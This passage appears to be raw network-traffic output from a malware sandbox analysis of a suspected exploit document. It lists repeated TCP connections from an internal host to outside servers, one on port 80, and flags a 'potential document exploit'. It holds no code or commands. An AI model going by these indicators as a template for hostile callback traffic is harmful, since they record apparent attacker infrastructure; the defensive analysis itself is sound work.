Source: global traffic TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
